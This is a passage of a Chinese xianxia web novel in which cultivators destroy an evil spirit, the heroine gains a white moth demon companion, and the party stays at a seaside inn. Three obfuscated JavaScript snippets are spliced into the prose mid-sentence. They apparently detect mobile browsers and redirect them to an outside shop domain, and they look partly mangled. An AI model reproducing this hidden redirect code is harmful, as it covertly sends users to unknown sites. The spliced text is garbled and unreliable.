邪灵痛苦地狂笑道:“哈哈哈哈哈哈……没想到居然还能碰到同门?哈哈哈哈哈哈……我的事迹是不是已经在虚天门传遍了啊?哈哈哈哈哈哈……” 洛侠砍着走尸冷笑道:“是啊,而且在我兄长担任新一任虚天门掌门之前,我的掌门便是收养了你的那位掌门。掌门收我为内门弟子时已是满头银丝的耄耋之人,他说你万吟潇不仅是只养不熟的白眼狼,还是匹害群之马,把他前半辈子所教的所有能够令他感到骄傲的弟子全都害死了,就连唯一的女儿也死在你万吟潇的手里。你可真是让虚天门损失惨重,凭你一己之力,成功将虚天门由盛转衰。” 邪灵幸灾乐祸道:“怎么样?我厉害吧?这就是不让我当掌门的后果!哇啊哈哈哈哈哈哈……” 段忆昔不禁喃喃道:“好可怕的人。” 绪子华一剑砍倒一只朝着段忆昔猛冲过来的走尸,道:“他就不该修仙,该去修魔!” 荀循恐惧道:“他这种人要是真的去修魔那就太可怕了!” 戚时初狠狠踢了一脚被他砍倒在地的一只走尸,不屑道:“没事,他这样的货色去修魔肯定早早走火入魔死无全尸了。” 花蕊愤恨道:“就是!就算他修魔也肯定当不上魔教的掌门!” “别别别别、别说了啊,阿蕊,你就别再惹那不当人了的邪灵了……”祝源吓得脸色煞白,提心吊胆地提醒着花蕊。 乔天璇早已被惊得无话可说,心想这估计就是虚天门最终灭门了的主要原因。而洛侠作为前虚天门弟子,他自然气不过万吟潇所行之事。 陈渊龙眉头紧蹙,神色复杂地砍着朝他扑来的无数走尸,仿佛看到了一个又一个万吟潇的化身,砍得握剑的手都已经在微微发抖了。 “哈哈哈哈哈哈啊……咦?等等,同门,你方才说……你兄长当了新一任的掌门?!”邪灵后知后觉反应过来,死死地盯着洛侠。 “对。”洛侠猛一挥剑,又砍翻了一只走尸。 邪灵怒极,不甘心道:“凭什么?凭什么?!啊啊啊啊啊我恨透你们这些天之骄子了!!!” 洛侠无奈道:“有什么好生气的?实不相瞒,虚天门已经灭门了。你就算有办法有能力当虚天门掌门了,也没有地方给你当了。” “……” “虚、虚天门灭、灭门了?”邪灵堪堪怔住。 “灭门了。”洛侠语气肯定地重复了一遍。 “不可能!!!”邪灵狂暴起来,它所控制的走尸们也开始行动不协调了。 与此同时,大家发现走尸们的行动突然一下子迟缓了很多,砍起来也容易了不少。 “既然你不信,那你可以看看这个。” 说罢,洛侠没握剑的那只手从储物袋中取出了一块令牌,凭空御物让其飞至邪灵面前三尺远的地方。 “这是……虚天门掌门令牌?!虚天门掌门令牌为何在你这儿?!”邪灵既暴怒又困惑,拼命伸手想要去拿虚天门掌门令牌,却由于长期占据着山神像,它已经无法离开山神像了。 乔天璇也朝令牌望了过去,见那令牌精致无比,竟是金镶玉。金子金得无时无刻都在散发着金光,镶嵌在中间的玉碧绿无暇。玉上面工工整整地刻着“虚天门掌门”五个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156708|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,字也是金灿灿的,简直比太子令牌还要精美好看。 一时间,乔天璇居然生萌出了想要将这块令牌据为己有收藏起来的念头。 难怪邪灵不顾一切地想要当虚天门掌门,光是这块虚天门掌门令牌都已经令人起了这种心思,就更别说虚天门掌门之位了。 洛侠平静道:“我方才已经说过了,我兄长是新任虚天门掌门。虚天门灭门,他作为虚天门掌门,当然也死了。至于虚天门掌门令牌,自然就落到了身为弟弟的我手里了。” 邪灵顿时崩溃嘶吼了起来:“啊啊啊啊啊啊啊啊啊都是一群天之骄子!都是一群……一群……啊啊啊啊啊啊啊啊啊啊——” 随着邪灵的崩溃,眼前的走尸也逐渐变得模糊,利刃砍在走尸上的感觉越来越像是砍在棉花上,被砍翻的走尸更是往地上一倒就化作一缕白烟消散了。 “怎么回事?”花蕊十分不解。 乔天璇手中一直指着占据了山神像的邪灵的符突然毫无预兆地燃尽成灰落了一地。 “不好!有在幻境中看不到的脏东西!”乔天璇慌忙御剑飞出了法阵发出的红色光柱之中。 下一刻,天花板上用来布阵的符也纷纷燃尽成灰落到了地上。 红色光柱立即消失,白衣青年模样的邪灵也看不见了。 见状,洛侠立刻让虚天门掌门令牌飞回到了自己手里,收回了储物袋中。 虽然大家见不到邪灵了,但邪灵仍旧在那儿。 眼看着虚天门掌门令牌从自己面前飞到了同门的手中,邪灵近乎疯魔,狂嚎不止。走尸忽地全部凭空消失不见,黑夜一瞬间变为了白天,寺庙中所有摇曳的烛火也在一瞬间灭掉,连一丝烟都没有,就好像从来就没被点燃过。 幻境终于破了。 乔天璇见地上干干净净,一只走尸都没有,可空中却到处弥漫着奇怪的黑气,当即御剑落了地,重新将剑握在手中。 既然已经知晓邪灵的身世,那就知道该用何种办法来对付邪灵了。 洛侠收剑入鞘,从储物袋中取出两件法宝,一手拿紫葫芦吸空中那些奇怪的黑气,一手拿铜钱剑对着占据了山神像的邪灵挥出了十几道剑气。 也不知是因为洛侠的法力强大,还是因为法宝实在是厉害,又或者是因为厉害的法宝有了洛侠强大的法力加持之后发挥出了更强的效果,邪灵在挨了十几道铜钱剑的剑气之后凄厉尖叫着被灭得魂飞魄散,彻底消失在了这天地间,连入轮回的机会都没有了。 不多时,洛侠手中的紫葫芦也吸完了空中到处弥漫着的奇怪黑气。 乔天璇疑惑道:“师父,那些黑气是什么?” 洛侠将紫葫芦和铜钱剑都收回到了储物袋中,道:“那是邪灵崩溃后外溢的邪气。” “那这邪灵可真够邪的,光是外溢的邪气都这么多。”乔天璇抬头望了一眼此时已经干净了的上空,心中庆幸自己刚刚及时离开了法阵回到了地上。 绪子华看了看四周,道:“果然,走尸都是幻境中的东西。” “但它们给人的感觉未免也太真实了。”戚时初看着手中方才用来砍走尸的剑,见剑刃上毫无砍杀的痕迹。 荀循道:“这样说来,我们刚刚岂不就是在对着空气乱砍?” 段忆昔道:“或许是吧。” 乔天璇走近了山神像一些,发现这会儿的山神像明显给人感觉不一样了。 山神像浑身上下没有一丝邪气,脸上的微笑十分空洞。 其余人也走近了山神像,对着山神像左看右看,都没再感觉到之前从山神像上所能感觉到的那种阴寒之气了。 洛侠道:“现在这尊山神像就是一块石头,没有任何神力。” 陈渊龙担忧道:“万一山神像以后又被别的邪灵给占身了该如何是好?” 洛侠瞟了陈渊龙一眼,突然拔剑。 “师父?!”乔天璇慌忙后退了好几步。 其余人也下意识纷纷后退,退得比乔天璇还要远。 “你要作甚?”陈渊龙语气急促,戒备地看着洛侠。 71. 偶得灵宠(一) “此神像多年无人祭拜,早已没有了神性,若是害怕以后有别的邪灵再次将其占据,不如现在就一剑劈碎了它,永绝后患。” 说罢,洛侠一剑劈向了山神像。 只听“轰”一声响后,在众人的目光中,山神像被剑劈成了无数的小石块散落在地上。 陈渊龙也明白了洛侠方才突然拔剑并不是用来对付他的。 其余人小心翼翼地走近已经碎了一地的山神像,皆是松了一口气。 “咦?那是什么?”乔天璇注意到碎石块中有一个白色的方形小匣子。 花蕊好奇地走上前拿起了那白色的方形小匣子,一下子将其打了开来,惊道:“蛹?” “这蛹好金贵啊,居然用玉做的匣子来装。”乔天璇赶忙来到了花蕊身旁,也看到了小匣子中的蛹。 “怎么会有一只装着蛹的玉匣子藏在一尊山神像中呢?”花蕊十分不解。 洛侠收剑入鞘,步至乔天璇身旁,目光投向了那只蛹。 蛹浑身呈纯白色,与装着它的玉匣子一个颜色。 “师父,这是怎么一回事啊?”乔天璇疑惑地看向了洛侠。 “不清楚。”洛侠摇了摇头,也是一脸困惑。 大家都围了过来,在看到玉匣子里的蛹时都略感震惊。 “也不知这山神像是在多久之前被谁做成的,不过这蛹里的虫子应该已经死了吧?要不然早就破茧出来了。” 说着,乔天璇将玉匣子里的蛹拿了出来。 花蕊期待道:“要不给它一点灵力,看看它能不能活过来?” “我试试。”乔天璇当即给手中的蛹输送了一点灵力。 下一刻,蛹突然在乔天璇的手中动了动。 “活了活了!”花蕊很是兴奋:“我就猜到灵师大人的灵力能让它活!” 众人围成了一个圈,全都在注视着乔天璇手中的蛹。 蛹又在乔天璇的手中动了几下,随即破茧而出。 “哇……”段忆昔看得聚精会神。 “我还是第一次见到破茧的过程呢!”戚时初很是激动。 绪子华道:“我从前倒是见过蛹,也见过破茧的过程,但是这么好看的蛹破茧从前还真没见过。” 荀循道:“是啊,好白,像白天鹅的毛色。” “你们看,里面出来的蛾子也是白的!”花蕊满眼欢喜。 祝源忍不住感叹:“蛾初脱缠缚,如蝶栩栩然[1]。” 的确,这是一只漂亮的白色蛾子,浑身毛茸茸的,一双翅膀上各长了一个像是眼睛一样的花纹,头上有一对像是瘦弱版的怕羞草一样的黄褐色触须,两只眼睛圆圆黑黑的,就跟两颗黑豆似的。 “主人!”蛾子停在乔天璇手中已经破了的蛹上,仰头对着乔天璇大喊,声音听起来像个十六岁的活泼少年。 “妖?”乔天璇凑近了蛾子,仔细瞧了瞧它。 蛾子道:“我是休眠蛾妖,多谢主人给我灵力,让我得以破茧。从此以后,我就是主人的小跟班了!” “休眠蛾妖?”乔天璇疑惑道:“你没事儿就喜欢休眠吗?” 蛾子道:“没有主人之前我几乎一直都在休眠,但是有了主人,我肯定就有活儿干了,主人不需要我做事的时候我再休眠。” 乔天璇一听,心觉这简直就是捡到宝了啊,当即高兴道:“不错,那我便收了你当我的跟班了。” “好!喜欢主人!喜欢主人!喜欢主人!”蛾子翩翩飞舞到了乔天璇的发髻上,飞时活泼灵动,停时仿若发髻上的头饰。 洛侠解释道:“休眠蛾妖认主,而且一生只认一个主人,就是将其从茧中用灵力唤醒的人。若是遇不到,它们就会在茧中一直休眠下去,直至天荒地老。所以休眠蛾妖往往在被灵力唤醒时就已经有几千几万岁了,只是它们不知自己到底休眠了多久,便会在自己被灵力唤醒的那一刻起重新计算自己的年龄,从一岁算起,且以主人的灵力为食,主人寿终之日即是其寿终之日,不会独活。” “原来如此。”乔天璇恍然大悟,抬头对蛾子道:“你休眠时都会到哪儿休眠啊?” 蛾子望向了花蕊手中的白玉匣子,道:“就一直在那个匣子里休眠。” 花蕊赶紧把白玉匣子递给了乔天璇。 “就是这个!就是这个!”蛾子开心地在乔天璇的发髻旁飞来飞去。 “行,那我便收下这个白玉匣子了。”乔天璇将手中的白玉匣子收到了腰间的黑色乾坤袋中。 洛侠看着飞舞着的蛾子,疑惑道:“你是如何被装在玉匣子里,而玉匣子又是如何被藏进石头中的?” 蛾子停在了乔天璇的发髻上,转头对洛侠道:“我为什么要和你说啊?” 洛侠道:“就凭我是你主人的师父。” “……” “其实……我不知道。”蛾子回忆道:“记得上一次醒着的时候,我在一棵树上。然后我就吐丝成茧了,之后的事情我也不清楚。” 洛侠道:“之后肯定还发生了很多事情,只是你在茧里面,什么都不知道。” “对啊,不知道。”蛾子回应得理直气壮。 乔天璇道:“那你知道自己叫什么名字吗?” 蛾子道:“我没有名字呀,主人给我起一个名字吧!” “起名字啊……”乔天璇看了看围成一圈的大家。 荀循道:“它是从玉匣子里出来的,叫它小玉?” 段忆昔道:“可你听它的说话声是公的哎,小玉一般是女孩子的名字吧?” 戚时初道:“小玉怎么就不能当男孩子的名字了?” “云天女侠,你怎么看?”绪子华望向了乔天璇。 乔天璇思索道:“既然提到了它是从玉匣子里出来的,还是一只蛾子,那便叫它‘玉蛾’好了。” “玉蛾。”洛侠对着蛾子唤了一声。 “干嘛?”蛾子懒懒地瞅了洛侠一眼。 洛侠道:“你承认这个名字了?” 蛾子毫不犹豫道:“当然了,这可是主人给我起的名字,我以后就叫玉蛾了。” “玉蛾!”乔天璇唤了一声。 “哎!”玉蛾当即激动地回应。 陈渊龙回头看了一眼寺庙外的天色,道:“邪灵已经除了,就连山神像都碎了,我们是不是该下山了?” 乔天璇回过神来,转身看向了大门外,见天色果然已经不早了,便道:“那我们现在就下山,要不然天黑之后我们就得在这座寺庙里过夜了。” 花蕊慌忙道:“那我们快走!寺庙周围都是死尸,我可不要在寺庙里过夜!” “是啊,寺庙周围都是死尸。”祝源也想起来了,脸色顿时白了不少。 “走,下山。”乔天璇带头走向了寺庙的大门。 陈渊龙和洛侠赶忙一左一右跟到了乔天璇的身旁。 看天色,估计快到酉时了。一行人上山花了大概一个时辰,那么下山大概也是要花一个时辰的。而现在这个时间下山后太阳也该下山了。 大家跨出了寺庙的大门,又见满地的死尸。 “还好没有真的变成走尸。”荀循忍不住回想起了在邪灵的幻境中那些源源不断涌入寺庙大门中来攻击众人的走尸。 段忆昔道:“邪灵灭了,也算是为这些死去的人报仇了。” 停在乔天璇发髻上的玉蛾看到了满地的死尸,不解道:“这些人怎么都躺在地上?而且这些人的样子都好可怕啊。” 乔天璇道:“那我就来给小玉蛾讲讲这些人为何会变成这样的故事吧。” “好哇好哇!主人最好了!”玉蛾兴奋的声音就像是一个不谙世事的天真小男孩。 陈渊龙冷冷地瞟了玉蛾一眼,似是对玉蛾能在这么短的时间内就得到乔天璇的宠爱感到很是不爽。 下山的路依旧不好走,但比起上山要轻松不少。 随着太阳的落下,山中逐渐阴冷了下来。一些已经照不到阳光了的地方变得阴森可怖,让人不敢多看。 “沙沙……沙沙……” “嘎啦……嘎啦……” 除了树叶的声响,大家脚下踩过的厚厚一层落叶也在发出声响。 “咕咕咕……咕咕咕……” 大妄山中不知藏在何处的鸟不断地鸣叫着,声音不像鸽子,却又与鸽子相似,莫名给人一种凄凉、萧条的感觉。 “呼——呼——呼——呼——” 阴凉的山风一阵又一阵吹来,乔天璇忍不住哆嗦了一下。 她明明记得上山的时候完全不是这种感觉的。 就算上山时的感觉也好不到哪里去,但至少比现在这会儿要强。 一行人最终还是赶在太阳彻底落下之前回到了大妄山的山脚下。 望着不远处码头边灯火通明的客栈,乔天璇道:“我们今晚就在那儿留宿吧。” “好。”其余人都点头答应。 毕竟这里距离码头边的那家客栈最近,而且附近也没有别的客栈了。 一路来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162045|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了客栈门口,乔天璇抬头看了看客栈的牌匾,道:“人鱼客栈。” 花蕊道:“难不成这客栈是人鱼开的?” 荀循道:“也有可能是因为有人鱼这道菜。” 陈渊龙道:“是因为有人鱼表演。” “人鱼表演?你看过?”乔天璇偏头看向了陈渊龙。 陈渊龙道:“听说过。” “切。”乔天璇不屑地转回了头,迈步走进了客栈中。 客栈大堂中飘散着一股淡淡的海盐味,想来是因为客栈临海。 白日里上大妄山灭邪灵消耗了不少体力,一行人径直走向了客栈大堂中吃饭的地方,找了两张空桌子坐了下来,四侠行客坐一桌,其余五人和之前一样坐一桌。只不过现在变成了乔天璇一个人坐一条凳子,陈渊龙和洛侠分别坐在乔天璇左右的位置,花蕊和祝源则一起坐在乔天璇对面位置的凳子上。 “不知几位客官想吃什么?”伙计快步来到了桌边。 乔天璇道:“你们这儿的招牌菜是什么?” 伙计道:“清蒸多宝鱼。” 乔天璇道:“那就来一条清蒸多宝鱼,再来盘青菜、炒肉,还有五碗饭。” “好嘞。”伙计连忙记上。 乔天璇看了一眼陈渊龙,对伙计道:“听说你们客栈里有人鱼表演,是真的吗?” 伙计道:“有的,戌时表演,马上就到戌时了,再等一小会儿就能看到表演。” 闻言,陈渊龙似是松了一口气。 乔天璇道:“那人鱼是妖吗?” 伙计乐道:“客官说笑了,我们上哪儿能寻到妖来给客人表演啊?都是舞娘扮的。不过客官放心,咱们的舞娘扮起人鱼来就跟真的人鱼一样,保准好看。” “那我倒是要好好瞧瞧了。”乔天璇转头望向了客栈大堂中间高出来的一块舞台。 这会儿旁边四侠行客那一桌也点好了菜,乔天璇听到他们甚至还要了酒。 “十四岁小孩喝什么酒啊?”花蕊看着一副老大哥模样的荀循,有些担心。 荀循道:“我们是听客栈伙计说他们的酒很难醉人,就算是八岁小孩喝了也没关系才要的。” “是吗?什么酒啊?”花蕊顿时来了兴趣。 荀循道:“青梅酒。” 花蕊立马转头看向了乔天璇,期待道:“要不我们也喝吧?” “行啊,既然不容易醉,那就喝呗。”乔天璇对着路过她这一桌的伙计道:“来坛青梅酒。” “好嘞。”伙计立即去拿酒了。 陈渊龙微微蹙了一下眉。 乔天璇注意到了,笑道:“殿下莫不是喝不得酒?” “喝得了。”陈渊龙当即否认。 “哦,喝得了啊。”乔天璇饶有兴致地看着陈渊龙。 酒比菜上得快,伙计很快就把青梅酒端上了桌。 祝源主动为大家斟酒,他许是把方才陈渊龙承认自己喝得了酒的话放在了心上,在给陈渊龙的酒盏斟完酒后特意道:“殿下,今朝有酒今朝醉,明日愁来明日愁[2]啊。” “哎,这酒可不容易醉。”乔天璇拿起已经斟满酒了的酒盏,小小地抿了一口。 “既然不容易醉,那就多喝几盏。”洛侠拿起酒盏,将盏中的酒一饮而尽。 乔天璇好奇道:“师父,青梅酒的味道如何?” “不错,酸甜不腻。”洛侠放下了酒盏,似乎有些意犹未尽。 乔天璇也拿起酒盏,像洛侠那样一饮而尽。 “果然好喝!”乔天璇抹了一把嘴角残留的酒渍。 祝源赶紧分别给洛侠和乔天璇重新满上了酒。 “源兄,别光顾着给我们斟酒了,你也喝啊。”乔天璇举起酒盏,似是想与祝源干杯。 祝源瞄到了陈渊龙的脸色有些阴沉,他连忙举起自己的酒盏,从左到右看了一圈桌上的其余四人,最后期待地对陈渊龙道:“来,我们一起干杯!” “好!”花蕊立马举起了自己的酒盏,回应得尤其大声。 隔壁四侠行客听到了祝源说的话,也拿了酒盏过来凑热闹。 陈渊龙见大家都如此热情,他的脸色稍微好了一些,也拿起了酒盏。 “干杯!!!” 九个人的酒盏挤在一起碰了碰,酒盏与酒盏之间的酒水互相飞溅。 乔天璇见陈渊龙的酒盏特意避开了洛侠的酒盏,却执意要碰到她的酒盏,不由得笑了笑。 这傻子龙怎么就对她如此执着呢? 72. 偶得灵宠(二) 人鱼客栈的上菜速度还算快,不多时,清蒸多宝鱼、青菜、炒肉、白米饭就都上齐了。 至于旁边一桌的四侠行客,他们点了八个菜,估计还得过一会儿才能上齐。 乔天璇夹了一块清蒸多宝鱼腹部的鱼肉尝了尝,心觉味道的确不错,新鲜滑嫩,骨刺也不多,正打算再夹一块来吃时,陈渊龙便先一步夹了多宝鱼的鱼头放到了乔天璇的碗里。 看着碗里鲜嫩的多宝鱼鱼头,乔天璇下意识瞟了陈渊龙一眼。 明明身为太子,就算想要给心悦之人夹鱼肉也可以夹鱼身子上的肉,却偏偏把鱼头给人夹了来,倒是有些为了心悦之人不顾礼节规矩的意味了。 不过鱼头既然都已经被夹到来自己碗里了,那不尝白不尝。 乔天璇将鱼头上最嫩的肉夹了出来吃了,心中不禁感叹不愧是招牌菜,肉质真是又香又嫩。 紧接着,洛侠也为乔天璇夹了两片炒肉到碗里。 乔天璇立马吃起了炒肉,连着把两片炒肉都吃完了才继续吃鱼头。 但陈渊龙大概是觉得洛侠夹给乔天璇的两片炒肉比不上他夹给乔天璇的鱼头,并没有对洛侠表示出不悦的神色。 花蕊和祝源边吃边偷偷观察着眼前三人的情况,差点都把饭给夹到鼻孔里去了。 “哇!快看,人鱼舞开始了!” “听说人鱼客栈的舞娘跳人鱼舞可是一绝呢!” “对啊对啊!” 听到其余客人的声音,乔天璇几人都转头往中间的舞台上望了去。 只见一个穿着粉紫色鱼尾巴的金发舞娘在台上灵活地舞动着,也不知她是如何站得稳的,一双“鱼尾”时而扭动得柔和无比,时而激烈地踢踢踏踏跳跃转圈。 在一盏盏烛火的映照中,舞娘“鱼尾”上的鱼鳞泛着道道白光,好似真的是人鱼上了岸在为人们起舞。 乔天璇乐道:“原来是域外的舞娘,难怪可以称作一绝,客栈也能因此命名为‘人鱼客栈’。毕竟物以稀为贵,这跳人鱼舞的域外舞娘可以说得上是全九宸国独一份了。” 洛侠道:“为师也是第一次见这样的舞,倒是有趣。” 乔天璇好奇道:“说起来……真的有人鱼妖吗?” 洛侠道:“有,不过那该唤为‘鲛’,可惜现在已经见不到它们了。” “哦……鲛啊。”乔天璇点了点头。 花蕊咽了咽口水,嘴馋道:“舞娘的尾巴看起来好好吃。” “那个不能吃,别馋了。”乔天璇赶忙给花蕊夹了一块刺少的鱼肉,道:“吃鱼。” 花蕊立马不再看人鱼舞,转而埋头吃起了鱼肉。 跳人鱼舞的舞娘独舞了大概一刻钟的时间,随后便来了四个扮演渔女的黑发舞女伴在了她的身旁四处。 四个“渔女”手持长长的红绸,边舞边与“人鱼”追逐。期间舞曲的调子由缓到急,又由急到轻快。 最终,“人鱼”被四个“渔女”手中的红绸缠了起来,五人一同舞了一曲华丽而“挣扎”的人鱼舞后缓缓谢幕。 无论是谁都看得出来,人鱼舞所表述的人鱼是个受害者,只是由于害她的四个人是渔女,而不是渔夫,让人一开始还误以为这是一个美好的故事。 洛侠叹息道:“所以说,人鱼还是要待在海里面,不要跑到地面上。要不然都不会有什么好下场。” 乔天璇好奇道:“师父是不是知道些关于鲛的故事?” 洛侠道:“知道,据说鲛落下的眼泪会变成珍珠。从前不少人为了得到这些珍珠,专门去东海捕鲛回来日日虐待,令其不断落泪,直至其落泪至死。后来鲛因此事纷纷躲入深海中,令世人再寻不见它们的踪迹。” 乔天璇道:“那的确该好好躲起来。” 停在乔天璇发髻上的玉蛾忍不住喃喃自语:“看来有时候当个一无是处,浑身上下没有任何价值的废物也挺好的。” 陈渊龙默默地吃着碗里的饭菜,听着洛侠说的事情,又往乔天璇的碗里夹了些菜。 晚饭过后,陈渊龙主动付了饭钱和乔天璇这边五个人的房费。 荀循则付了他们那一桌的饭钱。 四侠行客各自付了自己的房费。 人鱼客栈的房间很多,九个人各在二楼的房间中住了一间房。 乔天璇一进房中就躺倒在了榻上。 一直停在乔天璇发髻上的玉蛾立即飞到了榻边一张椅子的把手上。 乔天璇偏头看向了停在椅子把手上的蛾子,道:“小玉蛾,你白日在寺庙里时说你可以为我干活儿,可你这小身板能为我干什么活儿啊?顶多只能当个头饰吧?” 玉蛾道:“只要主人愿意,我可以与主人共视。” “共视?怎么共视个法?”乔天璇来了兴趣。 玉蛾道:“主人可以派我去探查想要探查的人,我飞到哪里,主人的其中一只眼睛便能看到我所看到的画面。” “真的啊?!”乔天璇心中狂喜。 这回当真是捡到宝了! 玉蛾道:“当然是真的,我们休眠蛾妖只要认了主,那么便是主人的第三只眼睛。” “太好了!宝贝啊!”乔天璇在榻上挪了挪身子,凑到了榻边椅子把手上的玉蛾跟前仔细瞧了瞧它,觉得它愈发可爱了。 “若是主人觉得我身板太小了,我也是可以暂时变成人形的。” 说着,玉蛾浑身白光一闪,变成了一个十六岁的白衣少年。 “你……”乔天璇猛然坐起身来,满眼不可思议地与坐在椅子把手上的少年对视着。 少年一头如雪的白发,像年画娃娃那样梳着一对抓髻,绑着两根黄褐色的发带,相貌就跟他的声音一样,看起来天真无邪的,一双黑黑的眼睛圆溜溜的,跟两颗黑葡萄似的,好看却不女气。 玉蛾道:“主人,我的人形如何?” “可、可爱。”乔天璇呆愣地看着眼前化作了人形的玉蛾,脑海中只浮现出了这一个词。 “哗啦!” 玉蛾忽地变回了蛾子的模样停在椅子的把手上。 “你的妖力不够你维持人形了?”乔天璇立马就明白是怎么一回事儿了。 “对啊。”玉蛾有些无奈。 “没事,这样就已经很可爱了。”乔天璇轻轻碰了碰玉蛾黄褐色的触须。 玉蛾安心道:“嗯……那我就慢慢修炼吧。” “对了,你既然能和我共视,那你现在去我师父的房间看看我师父在干什么吧!我师父的房间就在我这间房的左边。”乔天璇期待地看着玉蛾。 玉蛾道:“好,主人给我灵力。” 乔天璇毫不犹豫地给玉蛾输了许多灵力。 “多……有点多了,主人,好撑!太撑了……”玉蛾差点没招架住乔天璇的灵力。 “对不起对不起,你没事吧?”乔天璇赶忙收回了一些灵力。 “……没事。那我出发了,主人。如果中途有什么别吩咐可以直接跟我说,我能通过主人的视线听到主人说话的声音,然后用意识回复主人。”玉蛾像是吃撑了一样摇摇晃晃地飞了起来,从对着走廊的那扇窗户的缝隙中挤了出去。 乔天璇的右眼立马出现了玉蛾看到的画面。 玉蛾悄悄飞入了洛侠的房间。 乔天璇从玉蛾的眼中看到了正在榻上闭眼打坐的洛侠。 想来白日里灭掉邪灵耗费了洛侠不少法力,现在他得打坐恢复一下。 看了片刻,乔天璇见洛侠并没有什么别的动作,便对玉蛾道:“小玉蛾,我们去看看傻子龙在干什么吧。” “傻子龙?”玉蛾用意识跟乔天璇对话。 乔天璇道:“对,就是太子殿下,他就在……哦,在我房间对面的那间房。” “好,那我现在去了。”玉蛾立马飞出了洛侠的房间,直奔陈渊龙的房间。 当玉蛾悄悄潜入陈渊龙的房间后,乔天璇从玉蛾看到的画面中见陈渊龙坐在房中的一张椅子上,正通过一扇打开了一半的窗户直直地看着走廊对面自己的房间。 陈渊龙白如玉的脸上竟然泛起了浅浅的绯红,一双黑眸虽然依旧冰凉,看似毫无感情波动,但眼底却有一丝迷离。 乔天璇不禁嘲笑道:“呵呵,这个傻子龙,是方才喝青梅酒喝得微醺了吧?还说自己能喝,真是嘴硬。” “主人,太子殿下是不是喜欢你啊?他一直在看着主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175928|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的房间呀。”玉蛾有些怀疑。 “先不管这个。”乔天璇庆幸客栈的走廊昏暗,陈渊龙大概是发现不了偷偷摸摸的玉蛾的。 “哎哎哎!住店!” 一楼客栈大堂突然传来了一声粗野的声音。 随后,一声又一声粗野的声音接踵而至,说话的内容也是粗俗至极。 乔天璇难以忍受道:“都是些什么人啊?” 玉蛾回应:“不知道。” 陈渊龙估计也好奇得紧,他起身推门出了房间,走到走廊边上往下望去。 乔天璇道:“小玉蛾,跟上他。” “好。”玉蛾立马小心翼翼地跟在了陈渊龙的后方上空。 只见陈渊龙先是在走廊上看了一会儿楼下那些说话粗俗的客人,随后走向了楼梯,来到了一楼的客栈大堂,坐在了一处角落观察着这些客人。 乔天璇发现陈渊龙在听到其中一个说话还算文雅的人提到关于晨曦教的事情时会格外专注,不由得怀疑道:“傻子龙莫非很了解这个晨曦教?” 玉蛾回应:“不知道。” 客栈大堂中说话粗俗的客人们继续旁若无人地说着。 方才那个提到了晨曦教之事的人道:“老子加入了晨曦教,成为了晨曦教的教徒,去年年底不知为教主提供了多少情报,其实就是为了那些黄金报酬。不过也好在有了那些黄金作为本钱,要不然我都不知道现在我还能不能在这儿坐着,估计早都被活活饿死了。” 另一人道:“晨曦教啥的都是滚他儿的龟蛋子啊,他爷爷的驴蛋蛋都是为了黄金,最重要的是干他老爷的黄金!其它的都是日他爹的白搭!” 晨曦教教徒道:“这回我便要去冀州做生意了,我妻子在那儿,但是一直都收不到妻子的回信,奇怪得很。” 一人笑道:“舔他爷后脚跟的狗娃儿,你妻子怕不是和隔壁老王好上了,不搭理你了哟。” 晨曦教教徒道:“开什么玩笑,不可能。” “哈哈哈哈哈哈哈哈哈哈哈……”其余人都笑了起来。 陈渊龙许是实在听不下去了,又或者是觉得已经听够了,他起身上了楼梯,一路走到了二楼乔天璇的房间前。 乔天璇顿时紧张了起来,不知陈渊龙下一步是不是想要敲门进来。 共视的画面中,陈渊龙在门外站了好一会儿都不见离开。 乔天璇深呼吸一口气,踮起脚小心翼翼地走到了门前。 陈渊龙并不知乔天璇此刻就站在门对面,也不知道房内的乔天璇正通过玉蛾共视看着他。他大气都不敢出,像是生怕自己发出的声音会惊扰到了房内的乔天璇。 乔天璇通过共视看得津津有味,莫名觉得陈渊龙现在的样子尤其有趣。 突然,陈渊龙清冷的脸上露出了些许难堪的神色,猛地闭上了双眼。 “嗯?”乔天璇有些疑惑。 下一刻,陈渊龙又睁开了双眼,却是转身就走,一路快步回到了自己的房间中。 玉蛾也跟着陈渊龙来到了他的房内。 陈渊龙一进房就立即关紧了门,像是终于可以松一口气了似的大口喘息了起来。 他边脱衣服边走向了榻,在盘腿坐到榻上后,他抬手大力扇了自己两巴掌,接着把身上剩下的那件中衣也脱了下来随意地扔到了一旁。 乔天璇看得目瞪口呆。 她怎么也想不到平日里的清冷太子居然也会有这样的一面。 陈渊龙裸露的上半身亦如白玉那般白皙。比起他小时候,现在的他肌肉更加分明有线条了,特别是腹上随着呼吸不断起伏的肌肉,看得乔天璇不自觉咽了一口口水。 